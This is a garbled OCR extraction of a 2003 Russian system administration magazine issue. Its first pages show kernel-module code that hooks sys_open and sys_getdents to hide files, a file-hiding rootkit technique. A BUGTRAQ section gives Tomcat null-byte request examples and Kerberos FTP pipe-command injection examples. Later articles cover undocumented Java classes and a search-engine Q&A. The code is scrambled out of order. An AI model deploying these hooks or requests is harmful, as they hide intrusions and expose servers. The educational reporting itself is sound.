strace ./dir

getdents (6, /* 4 entries*/, 3933) = 72;

CC = gccCFLAGS = -O2 -Wall -fomit-frame-pointerMODFLAGS = -D__KERNEL__ -DMODULE -I/usr/src/linux/include

sys_open_call.o: sys_open_call.c$(CC) -c $(CFLAGS) $(MODFLAGS) sys_open_call.c

int own_open(const char *pathname, int flag, int mode){

return 0;}

void cleanup_module(){sys_call_table[SYS_open]=orig_open;}

int init_module(){orig_open=sys_call_table[SYS_open];sys_call_table[SYS_open]=own_open;

kfree(kernel_path);return orig_open(pathname, flag, mode);}}

kernel_path=(char *)kmalloc(255,GFP_KERNEL);copy_from_user(kernel_path, pathname, 255);

char hide[]="test.txt"

char *kernel_path;

#include <linux/module.h>#include <linux/kernel.h>#include <sys/syscall.h>#include <linux/types.h>#include <linux/slab.h>#include <linux/string.h>#include <asm/uaccess.h>

extern void *sys_call_table[];

Указатель для сохранения оригинального системноговызова:

Первым параметром функции open является имя откры-ваемого файла. Новый системный вызов должен сравнитьэтот параметр с именем файла, который мы хотим защи-тить. Если имена совпадут, будет сымитирована ошибкаоткрытия файла. Наш новый системный вызов имеет вид:

Сюда поместим имя открываемого файла:

Имя файла, который мы хотим защитить:

Выделим память и скопируем туда имя открываемогофайла:

Сравниваем:

Освобождаем память и возвращаем код ошибки присовпадении имен:

Если имена не совпали, вызываем оригинальный сис-темный вызов для выполнения стандартной процедуры от-крытия файла:

Далее смотрите комментарии к предыдущему примеру.

Сохраним код в файле sys_open_call.c и создадимMakefile для получения объектного модуля:

В текущем каталоге создадим файл с именем test.txt,загрузим модуль и введем команду cat test.txt. Системасообщит об отсутствии файла с таким именем.

Честно говоря, такую защиту легко обойти. Достаточ-но командой mv переименовать файл, а затем прочестьего содержимое.

Сокрытие записи о файле в каталогеОпределим, какой системный вызов отвечает за чтениесодержимого каталога. Для этого напишем еще один тес-товый фрагмент, который занимается чтением текущейдиректории:

Получим исполняемый модуль:

и выполним его трассировку:

Обратим внимание на предпоследнюю строку:

Содержимое каталога считывает функция getdents.Результат сохраняется в виде списка структур типа structdirent. Второй параметр этой функции является указате-лем на этот список. Функция возвращает длину всех за-писей в каталоге. В нашем примере функция getdents оп-ределила наличие в текущем каталоге четырех записей –«.», «..» и два наших файла, исполняемый модуль и ис-ходный текст. Длина всех записей в каталоге составляет72 байта. Информация о каждой записи сохраняется, как

int (*orig_open)(const char *pathname, int flag, int mode);

if(strstr(kernel_path,(char *)&hide) != NULL) {

/* Ôàéë dir.c*/#include <stdio.h>#include <dirent.h>

int main (){DIR *d;struct dirent *dp;

d = opendir(«.»);dp = readdir(d);

return 0;

}

kfree(kernel_path);return -ENOENT;}

else {

Page 46: 004 Системный Администратор 03 2003

44

программирование

memcpy(dirp3,(char *)dirp3+dirp3->d_reclen,t);tmp-=n;}

dirp3=(struct dirent *)((char *)dirp3+dirp3->d_reclen);}

copy_to_user(dirp,dirp2,tmp);kfree(dirp2);}

return tmp;}

int init_module(void){orig_getdents=sys_call_table[SYS_getdents];sys_call_table[SYS_getdents]=own_getdents;return 0;}

void cleanup_module(){sys_call_table[SYS_getdents]=orig_getdents;}

CC = gccmodule = sys_call_getd.oCFLAGS = -O3 -WallLINUX = /usr/src/linuxMODFLAGS = -D__KERNEL__ -DMODULE -I$(LINUX)/include

sys_call_getd.o: sys_call_getd.c $(CC) -c$(CFLAGS) $(MODFLAGS) sys_call_getd.c

if(strstr((char *)&(dirp3->d_name),(char *)&hide) != NULL) {

#include <linux/module.h>#include <linux/kernel.h>#include <linux/types.h>#include <linux/dirent.h>#include <linux/slab.h>#include <linux/string.h>#include <sys/syscall.h>#include <asm/uaccess.h>

extern void *sys_call_table[];int (*orig_getdents)(u_int, struct dirent *, u_int);

int own_getdents(u_int fd, struct dirent *dirp, u_intcount)

{unsigned int tmp, n;int t;

struct dirent *dirp2, *dirp3;

char hide[]=»our.file»;

tmp=(*orig_getdents)(fd,dirp,count);if(tmp>0){

dirp2=(struct dirent *)kmalloc(tmp,GFP_KERNEL);ñopy_from_user(dirp2,dirp,tmp);

dirp3=dirp2;t=tmp;

while(t>0) {

n=dirp3->d_reclen;t-=n;

мы уже сказали, в структуре struct dirent. Для нас интереспредставляют два поля данной структуры:� d_reclen – размер записи;� d_name – имя файла.

Для того чтобы спрятать запись о файле (другими сло-вами, сделать его невидимым), необходимо перехватитьсистемный вызов sys_getdents, найти в списке получен-ных структур соответствующую запись и удалить ее. Рас-смотрим код, выполняющий эту операцию (автор ориги-нального кода – Michal Zalewski):

Определим свой системный вызов.

Назначение переменных будет показано ниже. Допол-нительно нам понадобятся структуры:

Имя файла, который мы хотим спрятать:

Определим длину записей в каталоге:

Выделим память для структуры в пространстве ядра ископируем в нее содержимое каталога:

Задействуем вторую структуру и сохраним значениедлины записей в каталоге:

Начнем искать наш файл:

Считываем длину первой записи и определяем остав-шуюся длину записей в каталоге:

Проверяем, не совпало ли имя файла из текущей за-писи с искомым:

Если это так, затираем запись и вычисляем новое зна-чение длины записей в каталоге:

Позиционируем указатель на следующую запись ипродолжаем поиск:

Возвращаем результат и освобождаем память:

Возвращаем значение длины записей в каталоге:

Функции инициализации и выгрузки модуля имеютстандартный вид:

Сохраним исходный текст в файле sys_call_getd.c исоздадим Makefile следующего содержания:

В текущем каталоге создадим файл our.file и загру-зим модуль. Файл исчезает, что и требовалось доказать.

Как вы понимаете, рассмотреть в рамках одной ста-тьи пример перехвата каждого системного вызова непредставляется возможным. Поэтому тем, кто заинтере-совался данным вопросом, рекомендую посетить сайты:� www.phrack.com� www.atstake.com� www.thehackerschoice.com.

Там вы сможете найти более сложные и интересныепримеры перехвата системных вызовов. Обо всех заме-чаниях и предложениях пишите на форум журнала.

При подготовке статьи были использованы материа-лы сайта http://www.thehackerschoice.com/.

Page 47: 004 Системный Администратор 03 2003

BUGTRAQ

45№3(4), март 2003

$ perl -e 'print "GET /admin/WEB-INF\\classes/ContextAdmin.java\x00.jsp

HTTP/1.0\r\n\r\n";'|nc my.server 8080

GET /<null byte>.jsp HTTP/1.0

Несколько уязвимостейв Apache Tomcat serverУязвимость раскрытия информации обнаружена в ApacheTomcat server. Удаленный пользователь может просмот-реть содержание директорий и некоторых файлов, кото-рые конфигурированы как недоступные для просмотра.

Как сообщается, сервер неправильно обрабатываетнекоторые типы HTTP-запросов, содержащих NULL или‘\’ символы. Удаленный пользователь может сконструиро-вать специальный HTTP-GET-запрос, чтобы просмотретьсодержание каталога, в котором присутствует файлindex.html или index.jsp. Пример:

Также сообщается, что удаленный пользователь мо-жет представить специально обработанный запрос, содер-жащий символы ‘\’, чтобы получить информацию о недо-ступных каталогах. Пример:

Этот демонстрационный пример раскроет содержаниеContextAdmin.java-каталога. Уязвимость обнаружена вApache Tomcat Server 3.3.1 и более ранние версии.

mget .->(...)RETR "|touch testfile"RETR "|sh" with content of the file '|sh' being shell

commands

Выполнение произвольных командв MIT Kerberos FTP-клиентеУязвимость проверки правильности ввода обнаружена вMIT Kerberos FTP-клиенте и, возможно, других FTP-кли-ентах. Удаленный пользователь (злонамеренный FTP-сер-вер) может выполнить произвольные команды оболочкина уязвимом клиенте.

Согласно сообщению, об этом типе уязвимости былоизвестно еще в 1997 году, но она до сих пор не устраненав текущем выпуске Kerberos FTP-клиента и, возможно,присутствует в FTP-клиентах от других производителей.

Если имя файла начинается с символа канала “|”, кли-ент передаст имя файла как команду через system()-зап-рос, когда файл обнаружен клиентом на сервере. Уязви-мость позволяет серверу выполнять произвольные коман-ды оболочки, содержащиеся в имени файла или в содер-жании файла с привилегиями пользователя FTP-клиен-та. Пример:

Уязвимость обнаружена в Kerberos 5, 1.2.7.

Page 48: 004 Системный Администратор 03 2003

46

программирование

НЕКОТОРЫЕНЕДОКУМЕНТИРОВАННЫЕФУНКЦИИ JAVA

ДАНИИЛ АЛИЕВСКИЙ

Изучение недокументированных функций в применении к языку Java может показаться несколькостранным. Java – грамотный, современный, высоконадежный объектно-ориентированный языкпрограммирования, поставляемый фирмой Sun совместно с обширнейшими библиотекамиготовых классов. Неужели в среде Java существуют задачи, которые не решаются с помощьюстандартных библиотек и для решения которых имеет смысл прибегать к недокументированнымфункциям? И что вообще такое «недокументированная функция» в рамках Java?

Изучение недокументированных функций в применении к языку Java может показаться несколькостранным. Java – грамотный, современный, высоконадежный объектно-ориентированный языкпрограммирования, поставляемый фирмой Sun совместно с обширнейшими библиотекамиготовых классов. Неужели в среде Java существуют задачи, которые не решаются с помощьюстандартных библиотек и для решения которых имеет смысл прибегать к недокументированнымфункциям? И что вообще такое «недокументированная функция» в рамках Java?

Page 49: 004 Системный Администратор 03 2003

47№3(4), март 2003

программирование

public int getExitStatus()

new String[] {"-d","/ïóòü_ê_ïîäêàòàëîãó","myfile.java"}

public synchronized boolean compile( String[] p0)

public Main( OutputStream p0, String p1)

Слова «недокументированная функция» в случае Javaимеют самый прямой смысл. В стандартный комплектпоставки языка Java (мы рассматриваем версии 1.4 ивыше – Sun Java SDK) входит, помимо документирован-ных пакетов типа java.lang.*, java.util.*, javax.swing.* и т. д.также целый ряд недокументированных пакетов, преждевсего подпакеты sun.* и com.sun.*. Фирма Sun совершен-но справедливо рекомендует не пользоваться классамииз этих пакетов. Фирма Sun оставляет за собой право влюбой момент поменять поведение и даже сам набор этихклассов, так что программа, пользующаяся ими, рискуетоказаться несовместимой с будущими версиями Java.

На самом деле в подавляющем большинстве ситуа-ций недокументированные функции, точнее, недокумен-тированные классы из подпакетов sun.* и com.sun.* дей-ствительно не нужны. Эти классы в основном обеспечи-вают низкоуровневую реализацию универсальных клас-сов и интерфейсов, предназначенных для использованияв прикладных программах, и почти ничего не добавляютк тем возможностям, которые и так предоставляются стан-дартными документированными прикладными пакетами.

Из этого правила иногда встречаются исключения.Автор этой статьи участвовал в разработке сложной

системы на языке Java, содержащей более 100 тысячстрок исходного кода. При этом нам лишь несколько разпотребовались недокументированные функции Java.Именно о таких исключениях мне хотелось бы рассказатьв данной статье.

Встроенный компилятор JAVAНаверное, наиболее популярная «недокументированнаяфункция» Java – это компиляция исходных текстов Javaв .class-файлы.

Стандартный компилятор javac, входящий в комплектпоставки Sun Java SDK, вполне последовательно реали-зован фирмой Sun на том же самом языке Java в видесложной иерархии Java-классов. Утилита javac не болеечем тривиальная программа, реализованная в машинномкоде для всех операционных систем, предназначенная длязапуска виртуальной машины Java и обращения к Java-классу, выполняющему собственно компиляцию.

Если ваша программа нуждается в компиляции исход-ных текстов на языке Java, то наиболее изящное, хотя инедокументированное решение, – воспользоваться стан-дартным Java-классом фирмы Sun, реализующим такуюкомпиляцию.

На самом деле тут существуют даже два решения –классы sun.tools.javac.Main и com.sun.tools.javac.Main.Оба этих класса находятся в JAR-файле tools.jar, вхо-дящем в комплект поставки Sun Java SDK. Этот класспо умолчанию не входит в так называемый Java RuntimeEnvironment (JRE) – набор классов и подкаталогов, ко-торый разрешается свободно распространять совмес-тно с вашим Java-приложением для обеспечения егокорректного исполнения. Тем не менее лицензионноесоглашение фирмы Sun специально разрешает распро-странять tools.jar в дополнение к JRE совместно с ва-шими приложениями.

Оба класса – sun.tools.javac.Main и com.sun.tools.ja-

vac.Main – хотя и не документированы, но довольно ак-тивно обсуждаются на форумах сайта http://java.sun.com.

Первый класс, sun.tools.javac.Main, имеет конструктор:

В качестве параметров конструктор принимает некото-рый поток p0, в который будут выдаваться все сообщениякомпилятора, и некоторую строку неизвестного (автору ста-тьи) назначения; известные мне примеры использованияданного класса передавали в качестве p1 строку «javac».

Собственно компиляцию выполняет метод того жекласса:

Этому методу нужно передать в качестве аргументамассив строк-параметров, которые обычно передаютсяутилите javac, например:

О результатах компиляции можно узнать из результа-та метода compile() – в случае успеха он должен вернутьtrue – или с помощью отдельного метода:

который в случае успеха должен вернуть 0.Самая ценная особенность класса sun.tools.javac.Main –

возможность указать в конструкторе выходной поток, ко-торый будет использоваться для выдачи сообщений обошибках компилятора. Это дает возможность легко пре-образовать этот поток, скажем, в переменную типа String,с тем чтобы самостоятельно ее проанализировать и по-казать пользователю.

Начиная с версии Sun Java SDK 1.4, объявлен уста-ревшим класс sun.tools.javac.Main. Попытка явно обратить-ся к этому классу в программе выдает предупреждение«deprecation warning», а попытка им воспользоваться длякомпиляции любого класса выдает аналогичное предуп-реждение в поток ошибок (параметр конструктора p0),если только явно не подавить эти предупреждения клю-чом «-nowarn» среди параметров метода compile.

Для такого предупреждения есть основания. По край-ней мере один из сложных классов, разработанных авто-ром на Java версии 1.4 и прекрасно компилирующихсяобычными компиляторами, оказалось невозможным ском-пилировать с помощью класса sun.tools.ja-vac.Main. Ком-пилятор вполне явно «сошел с ума» и стал «ругаться» назаконные языковые конструкции.

Второй класс, предназначенный для компиляции ис-ходных текстов на Java – единственный «неустаревший»в версии Sun Java SDK 1.4 – это com.sun.tools.ja-vac.Main.Функционально он эквивалентен классу sun.tools.ja-vac.Main, но несколько менее «многословен» в своем на-боре методов. Конструктор этого класса не имеет пара-

Page 50: 004 Системный Администратор 03 2003

48

программирование

new PrintWriter(writer=new CharArrayWriter(),true)

public static int compile(String[] p0) public static int compile(String[] p0, PrintWriter p1)

public abstract boolean isLink(); public abstract ShellFolder getLinkLocation() throws FileNotFoundException

public static boolean isLink(File f) { try { return sun.awt.shell.ShellFolder .getShellFolder(f).isLink(); } catch (FileNotFoundException e) { return false; } }

public static File getLinkLocation(File f) throws FileNotFoundException { File result= sun.awt.shell.ShellFolder .getShellFolder(f).getLinkLocation(); if (result==null || result.getPath().trim().length()==0) throw new FileNotFoundException( "Incorrect link - it is empty"); return result; }

метров. Методов compile здесь два, причем несинхрони-зированных, в отличие от sun.tools.javac.Main:

Второй из этих методов позволяет указать поток вы-вода, который будет использоваться для вывода всех со-общений компилятора, например:

Как и в случае sun.tools.javac.Main, второй методcompile позволяет перенаправить поток сообщений ком-пилятора в собственный буфер, с тем чтобы впоследствиипревратить его, скажем, в строку типа String для анализаи визуализации.

Класс com.sun.tools.javac.Main в версии Sun Java SDK1.4 работает существенно быстрее предыдущего классаsun.tools.javac.Main и «справляется» со всеми корректны-ми исходными текстами. Похоже, именно этот класс вы-зывается изнутри стандартной утилиты javac.

Файлы-ссылки – *.lnkв Microsoft WindowsВторой известный автору случай использования недоку-ментированных функций – распознавание файлов-«ярлы-ков» (shortcuts) Microsoft Windows, обычно имеющих рас-ширение «.lnk».

Стандартные средства работы с файлами из пакетаjava.io.* вообще не слишком хорошо «справляются» сфайловой системой современных версий MicrosoftWindows. Так, стандартный класс java.io.File «понятия неимеет» о том, что корнем файловой иерархии Windowsследует считать «Рабочий стол» («Desktop»), у которогоесть такие дочерние узлы, как «Мои документы» («Mydocuments») или «Мой компьютер» («My computer»). Стан-дартный java.io.File по старинке считает корнем иерархиикорневой каталог любого дискового устройства.

Чтобы скомпенсировать этот недостаток, не нару-шая совместимости с классом File, фирма Sun разра-ботала новый, более современный класс javax.swing.file-chooser.FileSystemView. Он активнейшим образом ис-пользуется стандартным диалогом выбора файлаjavax.swing.JFileChooser, что отчасти объясняет не-сколько странный выбор пакета для FileSystemView.

К сожалению, даже класс FileSystemView не решаетвсех проблем, по крайней мере, в имеющейся у меня пос-ледней версии Sun Java SDK 1.4.1. Современные версииWindows, в частности Windows XP, предлагают пользова-телю интерфейс, существенно опирающийся на механизмфайлов-«ссылок», или «ярлыков». Такими ссылками яв-ляются специальные файлы или даже подкаталоги (обыч-но, но не обязательно с расширением «.lnk»). Щелчок поним в стандартном Windows Explorer приводит к переме-щению в некоторый другой каталог или открытию некото-рого другого файла. Именно так в Windows XP организо-вана работа в локальной сети – компьютеры пользовате-лей-«соседей» представлены маленькими виртуальными

подкаталогами-«ссылками» в локальной файловой сис-теме текущего пользователя.

Класс FileSystemView не содержит никаких средств дляраспознавания и обработки подобных ссылок. В результатестандартный диалог выбора файла javax.swing.JFileChooserпри использовании в Windows XP производит довольно жал-кое впечатление – попытка перейти к компьютерам локаль-ной сети заканчивается позорной неудачей.

В действительности фирма Sun уже реализовала ме-ханизм обработки файлов-«ссылок» Microsoft Windows. Ксожалению, он пока недокументирован. Это классsun.awt.shell.ShellFolder. Среди прочих методов, имеющихдокументированные эквиваленты в классе FileSystemView,класс ShellFolder содержит следующие два метода:

Вот как можно ими пользоваться:

Применяя эти методы, при желании можно «исправить»поведение стандартного диалога выбора файлаjavax.swing.JFileChooser, «научив» его правильно работатьс современными локальными сетями Microsoft Windows.

Конечно, будет гораздо лучше, если фирма Sun в оче-редной версии Java SDK включит в FileSystemView доку-ментированные эквиваленты этих методов и исправитjavax.swing.JFileChooser. Существование подобных мето-дов в sun.awt.shell.ShellFolder позволяет на это надеять-ся. Пока же приходится пользоваться недокументирован-ными методами.

Стек вызовов методаПредположим, нужно получить «трассу стека» – узнать,какой метод исполняется в данный момент, какой методвызвал этот метод, и т. д. Трудно представить, зачем этоможет понадобиться, за исключением отладки програм-мы. Однако в реальной практике автору это однажды по-надобилось – чтобы выяснить, какие загрузчики классовиспользовались для загрузки текущего исполняемого кодаи всех классов «трассы стека», вызвавших этот код.

Даже для этой столь экзотической ситуации фирмаSun предусмотрела документированную технику. Дос-таточно возбудить фиктивное исключение, тут же «пой-

Page 51: 004 Системный Администратор 03 2003

49№3(4), март 2003

программирование

public static Class[] getCurrentStackTraceClasses() { List result= new ArrayList(); for (int count=1; count<10000 /* ñòðàõîâêà íà âñÿêèé ñëó÷àé */; count++) { Class clazz= sun.reflect.Reflection .getCallerClass(count); if (clazz==null) break; result.add(clazz); } return (Class[])result.toArray( new Class[0]); }

public static native Class getCallerClass(int p0)

for (Iterator iterator= sun.misc.Service.providers( êëàññ_ñåðâèñà.class); iterator.hasNext(); ) { êëàññ_ñåðâèñà o= (êëàññ_ñåðâèñà) iterator.next(); èñïîëüçóåì o - ýêçåìïëÿð î÷åðåäíîãî ïðîâàéäåðà ñåðâèñà; }

мать» его и воспользоваться методом объекта-исклю-чения getStackTrace().

Проблема может заключаться в том, что методgetStackTrace() возвращает исключительно «описатель-ную» информацию о классах и методах «трассы стека» –попросту строковые имена классов и методов. Чтобы по-лучить собственно классы, задействованные в данный мо-мент в стеке (объекты типа Class), необходимо вызватьметод Class.forName или эквивалентный. Но что, если те-кущий загрузчик классов не в состоянии загрузить такиеклассы просто по имени? Что, если текущий исполняе-мый код загружен самым обычным традиционным загруз-чиком классов, а класс, который его вызвал – это интер-нетовский class-файл, загруженный и исполняемый совер-шенно другим специальным загрузчиком? Тогда методgetStackTrace() никак не поможет «добраться» до этогокласса (объекта Class) хотя бы для того, чтобы получитьссылку на загрузивший его загрузчик классов.

В подобной ситуации автору пришлось прибегнуть кнедокументированному классу sun.reflect.Reflection, точ-нее, к его методу.

Вот как выглядит использование этого метода:

Провайдеры сервисовСервис-провайдеры (Service provider) – довольно распро-страненная и неплохо документированная техника средистандартных библиотек Java. Тем более удивительно, чтофирма Sun оставила недокументированным механизм пе-речисления сервис-провайдеров – класс sun.misc.Service.

Идея сервис-провайдеров вполне очевидна. Допустим,есть некоторый сервис (интерфейс или абстракный класс),предназначенный для использования прикладными про-граммами. Есть также произвольное количество провай-деров – классов, реализующих этот интерфейс или абст-рактный класс. Предполагается, что набор провайдеровне фиксирован и может меняться в зависимости от по-ставки программы. Не исключено, что пользователь мо-жет самостоятельно приобрести и инсталлировать в сис-тему дополнительный набор провайдеров какого-либостандартного сервиса.

Типичный пример применения сервис-провайдеров –разнообразные кодеки, позволяющие читать и писатьизображения, аудио или видеозаписи различных фор-матов. Общая процедура чтения или записи объекта –

это сервис, а конкретный кодек, рассчитанный на опре-деленный формат – это провайдер.

Согласно документации, для поддержки сервис-про-вайдеров нужно положить в подкаталог META-INF/Servicesнекоторого JAR-файла, присутствующего в путях поискаклассов Java, специальный текстовый файл. Имя тексто-вого файла должно совпадать с полным именем некото-рого сервиса – интерфейса или абстрактного класса, на-пример, «com.pupkin.vasya.My-Service». Этот файл долженсодержать (в отдельных строках) список некоторых клас-сов – провайдеров этого сервиса, присутствующих в дан-ном JAR-файле. Тогда система Java сумеет стандартнымобразом получить этот список в виде набора объектов –экземпляров соответствующих провайдеров. Стандарт-ные библиотеки фирмы Sun примерно так и поступают,когда нужно прочитать изображение или аудиозапись. По-чему-то остался недокументированным лишь тот самыйстандартный способ, которым извлекается список провай-деров некоторого сервиса.

Этот способ следующий:

На самом деле для использования такой техники необязательно создавать JAR-файл – вполне достаточноразместить правильный подкаталог META-INF в одном изкаталогов поиска class-файлов.

Page 52: 004 Системный Администратор 03 2003

50

поиски истины

ЗАДАЙ СВОЙ ВОПРОС

РАЗРАБОТЧИКАМ

ПОИСКОВЫХ СИСТЕМ

С 28 января по 15 февраля 2003 года на сайте нашего журнала (www.samag.ru) и сайте ВсероссийскогоКлуба Веб-разработчиков (www.webclub.ru) любой посетитель мог задать свой наболевший вопростехническим специалистам поисковых систем – Яндекса, Рамблера, Апорта и Мета-Украины. Все мывремя от времени становимся пользователями поисковиков. Надеемся, что эта акция поможет намлучше понять друг друга. На вопросы читателей отвечают:

ИТОГИ АКЦИИ,ПРОВОДИМОЙ СОВМЕСТНОС ВСЕРОССИЙСКИМ КЛУБОМВЕБ-РАЗРАБОТЧИКОВ

Page 53: 004 Системный Администратор 03 2003

51№3(4), март 2003

поиски истины

Возможно ли в ближайшем будущем обеспечитьразбор запросов (вопросов), заданных естественнымязыком? Например, «где взять телепрограмму?».

Вообще говоря, взаимодействие человекаи компьютера на естественном языке, в частности есте-ственная «беседа» с поисковыми системами, являетсядавней, но, к сожалению, до сих пор нереализованной меч-той. Рискуя навлечь на себя гнев многочисленных аполо-гетов систем искусственного интеллекта, скажем также,что несмотря на множество красивых и внешне правиль-ных идей о его, искусственного интеллекта, реализации,вряд ли когда-либо в обозримом будущем он будет реа-лизован. Однако дела обстоят не так плохо, поскольку ре-ализация истинного машинного интеллекта для ответовна большинство вопросов пользователя вовсе не нужна.Нужно лишь приблизительно моделировать поведение ра-зумного компонента при вычислении запроса.

Уже сейчас Рамблер пытается распознать, что имен-но интересует пользователя, а также тематику поиско-вого запроса. Например, при поиске человека по егоимени и фамилии (Иван Федоров), запускается специ-альный модуль, который оптимизирован именно под этузадачу. Аналогичные модули есть для поиска сайтов(www.somesite.ru), обработки запросов, содержащих чис-ла (15 олимпиада), и т. д. Количество и «интеллект» та-ких модулей мы собираемся наращивать одновременнос совершеноствованием ядра поисковой машины.

Недавно мы начали классифицировать поисковые зап-росы и учитывать результаты классификации при ранжи-ровании. Благодаря такому учету нам удалось сократитьв ответах поисковика количество страниц, которые плохосоответствуют запросу.

Таким образом, некоторое приближение к ответам наестественно-языковые запросы существует уже сейчас,а необходимость корректно отвечать пользователю, за-давшему вопрос «Не могли бы вы, ваши специалисты иливаша поисковая машина помочь мне найти в Интернетеили других изданиях цену на дрова?», весьма сомнитель-на в практическом отношении, хотя, конечно, представ-ляет академический интерес.

Сама тема «разбор запросов, заданных на есте-ственном языке» – это не будущее, а прошлое поисковыхсистем, из тех времен, когда проектировщики поискови-ков еще не знали, как же на самом деле массовый пользо-ватель будет пользоваться их детищем. Теперь, когдастрока запроса – рабочий инструмент, у полмиллиардачеловек иллюзии развеялись.

На «естественном языке», точнее на том, что под этиммногие понимают – длинные сочинительно-вопроситель-ные конструкции – люди вопросы не задают, не задавалии задавать не будут никогда. Причина проста: людям свой-ственно экономить свои силы и время.

Реальная задача, стоящая перед пользователем: заминимальное число нажатий клавиш на клавиатуре иминимальное количество секунд, (например за 180, как вКубке Яндекса), получить пертинентный, то есть удовлет-воряющий прагматике (!) запроса ответ.

ИЛЬЯ СЕГАЛОВИЧПоисковая система «Яндекс»

АНДРЕЙ КОВАЛЕНКОПоисковая система «Рамблер»

МИХАИЛ КОСТИНПоисковая система «Апорт»

АЛЕКСЕЙ ЧУКСИНУкраинская поисковая система «META»

Page 54: 004 Системный Администратор 03 2003

52

поиски истины

Сколько человеко-часов в месяц ваша компаниятратит на совершенствование алгоритмов поиска (илиразработку новых стратегий поиска), и сколько – насопутствующие «навороты» типа дизайна и дополни-тельных сервисов?

Основные усилия мы тратим именно на со-вершенствование поиска. Это и улучшение качества поис-ка и увеличение производительности поисковой системы.На дизайн и дополнительные сервисы ресурсов выделя-ется меньше.

Над совершенствованием алгоритмов индексиро-вания и поиска работает немного специалистов: основ-ных алгоритмистов в поиске примерно пять-шесть чело-век. Много их и не может быть.

Если считать со всей «обвязкой» (например: локаль-ный софт – Сайт, Бар; поисковые проекты – Каталог,Маркет, Новости, Энциклопедии, Картинки, и т. д.), в ко-торой много своих алгоритмических задач, то получает-ся больше: человек 12.

Но Яндекс – это не только поиск и не только поиско-вые проекты, у нас есть еще и Почта, и Народ, и многочего еще. И там тоже масса нетривиальных задач и алго-ритмов. Одна борьба с почтовым спамом чего стоит! Авсего программистов в Яндексе около 30.

Какие архитектурные решения организации базданных являются ключевыми для достижения такихвысочайших скоростей поиска? Как можно более под-робно ознакомиться с этими технологиями?

Для достижения высокой производитель-ности поисковой системы наряду с архитектурными ре-шениями, минимизирующими ввод-вывод и позволяющи-ми не вычислять величин, без которых можно обойтись,используется также глубокая оптимизация поисковых ал-горитмов, так как всего лишь одна лишняя инструкция,исполненная несколько миллионов раз, уже вызовет се-рьезные задержки.

Кроме того, быстрый поиск невозможен без «тон-кой» настройки серверов и операционной системы. Так,например, при вычислении поискового запроса данныезагружаются с дисков «напрямую», в обход файловойсистемы.

Знание полного списка необходимых для поиска бло-ков данных и порядка их использования позволяет на-гружать дисковые устройства и шину PCI более эффек-тивно, чем это делает сама операционная система.

Еще один пример оптимизации – размещение неко-торых критичных по времени доступа данных в памятиядра ОС. При таком размещении скорость обращения кним существенно растет.

Для того чтобы система такого масштаба функцио-нировала 24 часа в сутки 7 дней в неделю, поисковиксодержит модули балансировки нагрузки (выдачи бо-лее быстрым серверам большего количества запросов),восстановления после сбоев, автоматического монито-ринга и т. д.

Таким образом, речь можно вести только о пониманиителеграфного стиля общения, рваного синтаксиса и т. д.Это понимание демонстрируют многие поисковые систе-мы. Мы в Яндексе наивно полагаем, что продвинулисьдальше многих по данному пункту.

Разбор запросов в Яндексе существует уже давно. Илюди этим активно пользуются, что видно по прямомуэфиру (списку запросов, сделанных за последний час:http://www.yandex.ru/last20.html):� оборудование для катания с гор;� юридические энциклопедии;� master of orion 3;� toshiba ноутбук сервис-центр;� образец подписи В. Яковлева;� расписание поездов из Москвы.

Что касается приведенного примера, то по результа-там поиска на запрос «где взять телепрограмму?» видно,что запрос не очень удачен: в найденных документах восновном обсуждается, где взять телевизионные програм-мы, чтобы наполнить эфир. Лучше спросить «где взятьпрограмму передач?». А еще лучше вопрос уточнить: «про-грамма передач на неделю» или «программа передач ОРТ».

А вот 10 первых по популярности запросов со словом«телепрограмма» (то есть то, как люди на самом делеспрашивают):� телепрограмма – 4919;� телепрограмма на неделю – 345;� телепрограмма на сегодня – 139;� новогодняя телепрограмма – 89;� телепрограмма орт – 85;� телепрограмма москва – 83;� телепрограмма окна – 79;� телепрограмма жди меня – 76;� телепрограмма нтв – 67;� телепрограмма стань звездой – 54.

Если посмотреть результаты поиска по этим запросамна Яндексе, видно, что проблема, поставленная в вопро-се, несколько надумана.

Если речь идет о более-менее полноценном, хотябы отдаленно сравнимом с человеческим, пониманиилюбых запросов на естественном языке, то нет. А раз-личные частичные решения возможны и реально приме-няются в поисковых системах.

Такой разбор обеспечить возможно, и работы пообработке запросов на естественном языке ведутся во всеммире. Однако, как показывает анализ статистики запро-сов, крайне малое число пользователей задает запрос наестественном языке. Пользователю проще написать зап-рос «телепрограмма» или перейти в соответствующую руб-рику каталога, чем писать длинную фразу «где взять те-лепрограмму». То есть, на наш взгляд, эта проблема сей-час не является первоочередной для повышения качествапоиска. Думаем, что актуальной она станет с развитиемголосового ввода данных, когда от поисковых систем по-требуется обрабатывать запросы, заданные голосом.

Page 55: 004 Системный Администратор 03 2003

53№3(4), март 2003

поиски истины

В поисковых системах не используются «архитек-турные решения баз данных» (Oracle, Postgres, Informix,Sybase, MySQL и т. д.).

Все известные мне отечественные и зарубежные по-исковые системы – это вручную написанный софт на низ-коуровневом языке программирования. На тему архитек-туры робота в той или иной мере можно найти публика-ции. Больше всего писала на эту тему Альтависта. Архи-тектура отработки поискового запроса – тайна в гораздобольшей степени.

Поисковые системы требуют особого подхода корганизации хранения данных: стандартные СУБД (Oracleи т. д.) для них не годятся. Этой теме посвящено доста-точно большое количество литературы (англоязычной),для начального ознакомления можно рекомендовать из-вестную статью создателей Google: «The Anatomy of aLarge-Scale Hypertextual Web Search Engine» (http://www7.scu.edu.au/programme/fullpapers/1921/com1921.htm).

Как правильно составить meta для лучшего нахож-дения сайта в поисковых системах?

Поисковая система Рамблер, разбирая и ин-дексируя документы, игнорирует содержимое тегов<META...>, за исключением тех, которые указывают наиспользование кодировки, например, UTF-8. Такое решениебыло продиктовано прежде всего заботой о пользователе,так как нерадивые (или чересчур рьяные) вебмастера счи-тают своим долгом указать в списке ключевых слов каждо-го созданного документа все известные им наиболее час-тые слова запросов к поисковым машинам, не имеющиеобычно никакого отношения к содержимому документа.

Этот вопрос не по адресу. С точки зрения поиско-вой системы, все усилия вебмастера для «лучшего на-хождения сайта» – нежелательный эффект, который не-обходимо элиминировать.

Что касается конкретики, тег meta поисковые систе-мы, чаще всего, в рейтинге совершенно не учитывают.Но ничто не мешает вам поступить так, как советует стан-дарт HTML: написать в description внятное индивидуаль-ной описание темы страницы, а в keywords – перечислитьнесколько самых важных слов.

